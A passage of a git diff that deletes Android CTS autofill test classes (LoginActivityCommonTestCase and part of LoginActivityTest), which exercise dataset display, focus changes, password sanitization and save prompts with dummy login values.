-        final ViewGroup root = (ViewGroup) mUsernameContainer.getParent();
-        syncRunOnUiThread(() -> root.addView(child));
-    }
-
-    /**
-     * Holder for the expected auto-fill values.
-     */
-    private final class FillExpectation {
-        private final OneTimeTextWatcher ccUsernameWatcher;
-        private final OneTimeTextWatcher ccPasswordWatcher;
-
-        private FillExpectation(String username, String password) {
-            ccUsernameWatcher = username == null ? null
-                    : new OneTimeTextWatcher("username", mUsernameEditText, username);
-            ccPasswordWatcher = password == null ? null
-                    : new OneTimeTextWatcher("password", mPasswordEditText, password);
-        }
-
-        private FillExpectation(String username) {
-            this(username, null);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
deleted file mode 100644
index 1bad60a..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityCommonTestCase.java
+++ /dev/null
@@ -1,306 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.NO_MOAR_RESPONSES;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.inline.InlineLoginActivityTest;
-import android.service.autofill.FillContext;
-import android.view.View;
-
-import org.junit.Test;
-
-/**
- * This is the common test cases with {@link LoginActivityTest} and {@link InlineLoginActivityTest}.
- */
-public abstract class LoginActivityCommonTestCase extends AbstractLoginActivityTestCase {
-
-    protected LoginActivityCommonTestCase() {}
-
-    protected LoginActivityCommonTestCase(UiBot inlineUiBot) {
-        super(inlineUiBot);
-    }
-
-    @Test
-    public void testAutoFillNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-
-        // Make sure a fill request is called but don't check for connected() - as we're returning
-        // a null response, the service might have been disconnected already by the time we assert
-        // it.
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Test connection lifecycle.
-        waitUntilDisconnected();
-    }
-
-    @Test
-    public void testAutoFillNoDatasets_multipleFields_alwaysNull() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE)
-                .addResponse(NO_MOAR_RESPONSES);
-
-        // Trigger autofill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Tap back and forth to make sure no more requests are shown
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-
-        mActivity.onUsername(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-    }
-
-
-    @Test
-    public void testAutofill_oneDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 1, /* selectedDatasetIndex= */ 0);
-    }
-
-    @Test
-    public void testAutofill_twoDatasets_selectFirstDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 0);
-
-    }
-
-    @Test
-    public void testAutofill_twoDatasets_selectSecondDataset() throws Exception {
-        testBasicLoginAutofill(/* numDatasets= */ 2, /* selectedDatasetIndex= */ 1);
-    }
-
-    private void testBasicLoginAutofill(int numDatasets, int selectedDatasetIndex)
-            throws Exception {
-        // Set service.
-        enableService();
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        String[] expectedDatasets = new String[numDatasets];
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
-        for (int i = 0; i < numDatasets; i++) {
-            builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
-                    .setField(ID_USERNAME, "dude" + i)
-                    .setField(ID_PASSWORD, "sweet" + i)
-                    .setPresentation("The Dude" + i, isInlineMode())
-                    .build());
-            expectedDatasets[i] = "The Dude" + i;
-        }
-
-        sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("dude" + selectedDatasetIndex, "sweet" + selectedDatasetIndex);
-
-        // Trigger auto-fill.
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        mUiBot.waitForIdle();
-
-        mUiBot.assertDatasets(expectedDatasets);
-        callback.assertUiShownEvent(username);
-
-        mUiBot.selectDataset(expectedDatasets[selectedDatasetIndex]);
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        callback.assertUiHiddenEvent(username);
-
-        // Make sure input was sanitized.
-        final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
-        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
-        assertTextIsSanitized(request.structure, ID_PASSWORD);
-        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
-        assertThat(fillContext.getFocusedId())
-                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
-        if (isInlineMode()) {
-            assertThat(request.inlineRequest).isNotNull();
-        } else {
-            assertThat(request.inlineRequest).isNull();
-        }
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(
-                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(
-                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
-    }
-
-    @Test
-    public void testClearFocusBeforeRespond() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Clear focus before responded
-        mActivity.onUsername(View::clearFocus);
-        mUiBot.waitForIdleSync();
-
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build());
-        sReplier.addResponse(builder.build());
-        sReplier.getNextFillRequest();
-
-        // Confirm no datasets shown
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testSwitchFocusBeforeResponse() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mUiBot.selectByRelativeId(ID_PASSWORD);
-        mUiBot.waitForIdleSync();
-
-        // Respond for username
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-
-        // Set expectations and respond for password
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation("The Password", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Password");
-    }
-
-    @Test
-    public void testManualRequestWhileFirstResponseDelayed() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
-
-        // Respond for first request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // Set expectations and respond for second request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude2")
-                        .setPresentation("The Dude 2", isInlineMode())
-                        .build()).build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Dude 2");
-    }
-
-    @Test
-    public void testResponseFirstAfterResponseSecond() throws Exception {
-        // Set service
-        enableService();
-
-        // Trigger auto-fill
-        mUiBot.selectByRelativeId(ID_USERNAME);
-        waitUntilConnected();
-
-        // Trigger second fill request
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
-
-        // Respond for first request
-        sReplier.addResponse(new CannedFillResponse.Builder(CannedFillResponse.ResponseType.DELAY)
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setPresentation("The Dude", isInlineMode())
-                        .build())
-                .build());
-        sReplier.getNextFillRequest();
-
-        // Set expectations and respond for second request
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedFillResponse.CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude2")
-                        .setPresentation("The Dude 2", isInlineMode())
-                        .build()).build());
-        sReplier.getNextFillRequest();
-
-        // confirm second response shown
-        mUiBot.assertDatasets("The Dude 2");
-
-        // Wait first response was sent
-        sReplier.getNextFillRequest();
-
-        // confirm second response still shown
-        mUiBot.assertDatasets("The Dude 2");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
deleted file mode 100644
index 141fb2f..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ /dev/null
@@ -1,2906 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
-import static android.autofillservice.cts.CannedFillResponse.FAIL;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_CANCEL_FILL;
-import static android.autofillservice.cts.Helper.ID_EMPTY;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
-import static android.autofillservice.cts.Helper.allowOverlays;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertNumberOfChildren;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertTextOnly;
-import static android.autofillservice.cts.Helper.assertValue;
-import static android.autofillservice.cts.Helper.assertViewAutofillState;
-import static android.autofillservice.cts.Helper.disallowOverlays;
-import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.isAutofillWindowFullScreen;
-import static android.autofillservice.cts.Helper.setUserComplete;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_CLASS;
-import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_PACKAGE;
-import static android.autofillservice.cts.InstrumentedAutoFillService.isConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
-import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
-import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
-import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.content.Context.CLIPBOARD_SERVICE;
-import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-import static android.text.InputType.TYPE_NULL;
-import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
-import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
-import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
-
-import static com.android.compatibility.common.util.ShellUtils.sendKeyEvent;
-import static com.android.compatibility.common.util.ShellUtils.tap;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.PendingIntent;
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.content.BroadcastReceiver;
-import android.content.ClipData;
-import android.content.ClipboardManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.IntentSender;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.SaveInfo;
-import android.support.test.uiautomator.UiObject2;
-import android.util.Log;
-import android.view.View;
-import android.view.View.AccessibilityDelegate;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityNodeProvider;
-import android.view.autofill.AutofillManager;
-import android.widget.EditText;
-import android.widget.RemoteViews;
-
-import com.android.compatibility.common.util.RetryableException;
-
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * This is the test case covering most scenarios - other test cases will cover characteristics
- * specific to that test's activity (for example, custom views).
- */
-public class LoginActivityTest extends LoginActivityCommonTestCase {
-
-    private static final String TAG = "LoginActivityTest";
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAutomaticallyAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, in a field that was added after the first request
-        final EditText child = new EditText(mActivity);
-        child.setId(R.id.empty);
-        mActivity.addChild(child);
-        final OneTimeTextWatcher watcher = new OneTimeTextWatcher("child", child,
-                "new view on the block");
-        child.addTextChangedListener(watcher);
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setField(ID_EMPTY, "new view on the block")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.syncRunOnUiThread(() -> child.requestFocus());
-
-        sReplier.getNextFillRequest();
-
-        // Select the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        watcher.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, forcing it
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Select the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        // NOTE: must be on password, as saveOnlyTest() will trigger on username
-        mActivity.onPassword(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-        mActivity.onPassword(View::requestFocus);
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-
-        // Try again, forcing it
-        saveOnlyTest(/* manually= */ true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAutomaticallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Make sure UI is not shown.
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again, in a field that was added after the first request
-        final EditText child = new EditText(mActivity);
-        child.setId(R.id.empty);
-        mActivity.addChild(child);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
-                        ID_USERNAME,
-                        ID_PASSWORD,
-                        ID_EMPTY)
-                .build());
-        mActivity.syncRunOnUiThread(() -> child.requestFocus());
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-        mActivity.runOnUiThread(() -> child.setText("NOT MR.M"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "malkovich");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(password, "malkovich");
-        final ViewNode childNode = findNodeByResourceId(saveRequest.structure, ID_EMPTY);
-        assertTextAndValue(childNode, "NOT MR.M");
-    }
-
-    /**
-     * More detailed test of what should happen after a service returns a {@code null} FillResponse:
-     * views that have already been visit should not trigger a new session, unless a manual autofill
-     * workflow was requested.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillNoDatasets() is enough")
-    public void testMultipleIterationsAfterServiceReturnedNoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Trigger autofill on username - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-        waitUntilDisconnected();
-
-        // Every other call should be ignored
-        mActivity.onPassword(View::requestFocus);
-        mActivity.onUsername(View::requestFocus);
-        mActivity.onPassword(View::requestFocus);
-
-        // Trigger autofill by manually requesting username - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.forceAutofillOnUsername();
-        final FillRequest manualRequest1 = sReplier.getNextFillRequest();
-        assertHasFlags(manualRequest1.flags, FLAG_MANUAL_REQUEST);
-        waitUntilDisconnected();
-
-        // Trigger autofill by manually requesting password - should call service
-        sReplier.addResponse(NO_RESPONSE);
-        mActivity.forceAutofillOnPassword();
-        final FillRequest manualRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(manualRequest2.flags, FLAG_MANUAL_REQUEST);
-        waitUntilDisconnected();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAlwaysCallServiceAgain() throws Exception {
-        // Set service.
-        enableService();
-
-        // First request
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.onUsername(View::requestFocus);
-        // Waits for the fill request to be sent to the autofill service
-        mUiBot.waitForIdleSync();
-
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Second request
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-
-        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
-
-        final FillRequest secondRequest = sReplier.getNextFillRequest();
-        assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
-        mUiBot.assertDatasets("THE DUDE");
-    }
-
-    @Test
-    public void testAutoFillOneDataset() throws Exception {
-        autofillOneDatasetTest(BorderType.NONE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
-    public void testAutoFillOneDataset_withHeader() throws Exception {
-        autofillOneDatasetTest(BorderType.HEADER_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset_withHeaderAndFooter() is enough")
-    public void testAutoFillOneDataset_withFooter() throws Exception {
-        autofillOneDatasetTest(BorderType.FOOTER_ONLY);
-    }
-
-    @Test
-    public void testAutoFillOneDataset_withHeaderAndFooter() throws Exception {
-        autofillOneDatasetTest(BorderType.BOTH);
-    }
-
-    private enum BorderType {
-        NONE,
-        HEADER_ONLY,
-        FOOTER_ONLY,
-        BOTH
-    }
-
-    private void autofillOneDatasetTest(BorderType borderType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        String expectedHeader = null, expectedFooter = null;
-
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        if (borderType == BorderType.BOTH || borderType == BorderType.HEADER_ONLY) {
-            expectedHeader = "Head";
-            builder.setHeader(createPresentation(expectedHeader));
-        }
-        if (borderType == BorderType.BOTH || borderType == BorderType.FOOTER_ONLY) {
-            expectedFooter = "Tails";
-            builder.setFooter(createPresentation(expectedFooter));
-        }
-        sReplier.addResponse(builder.build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Dynamically set password to make sure it's sanitized.
-        mActivity.onPassword((v) -> v.setText("I AM GROOT"));
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Auto-fill it.
-        final UiObject2 picker = mUiBot.assertDatasetsWithBorders(expectedHeader, expectedFooter,
-                "The Dude");
-
-        mUiBot.selectDataset(picker, "The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Validation checks.
-
-        // Make sure input was sanitized.
-        final FillRequest request = sReplier.getNextFillRequest();
-        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
-        assertTextIsSanitized(request.structure, ID_PASSWORD);
-        final FillContext fillContext = request.contexts.get(request.contexts.size() - 1);
-        assertThat(fillContext.getFocusedId())
-                .isEqualTo(findAutofillIdByResourceId(fillContext, ID_USERNAME));
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(
-                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(
-                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
-    }
-
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillAgainAfterOnFailure() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(FAIL);
-
-        // Trigger autofill.
-        requestFocusOnUsernameNoWindowChange();
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Try again
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill.
-        clearFocus();
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mActivity.expectAutoFill("dude", "sweet");
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testDatasetPickerPosition() throws Exception {
-        final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
-
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        // Set expectations.
-        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
-                        .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
-                        .build());
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill on username
-        final Rect usernameBoundaries1 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
-        sReplier.getNextFillRequest();
-        callback.assertUiShownEvent(username);
-        final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
-        Log.v(TAG,
-                "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
-        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
-        if (pickerAndViewBoundsMatches) {
-            if (usernamePickerBoundaries1.top < usernameBoundaries1.bottom) {
-                assertThat(usernamePickerBoundaries1.bottom).isEqualTo(usernameBoundaries1.top);
-            } else {
-                assertThat(usernamePickerBoundaries1.top).isEqualTo(usernameBoundaries1.bottom);
-            }
-
-            assertThat(usernamePickerBoundaries1.left).isEqualTo(usernameBoundaries1.left);
-        }
-
-        // Move to password
-        final Rect passwordBoundaries1 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        Log.v(TAG,
-                "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
-        // TODO(b/37566627): assertions below might be too aggressive - use range instead?
-        if (pickerAndViewBoundsMatches) {
-            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
-                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
-            } else {
-                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
-            }
-            assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
-        }
-
-        // Then back to username
-        final Rect usernameBoundaries2 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-        final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
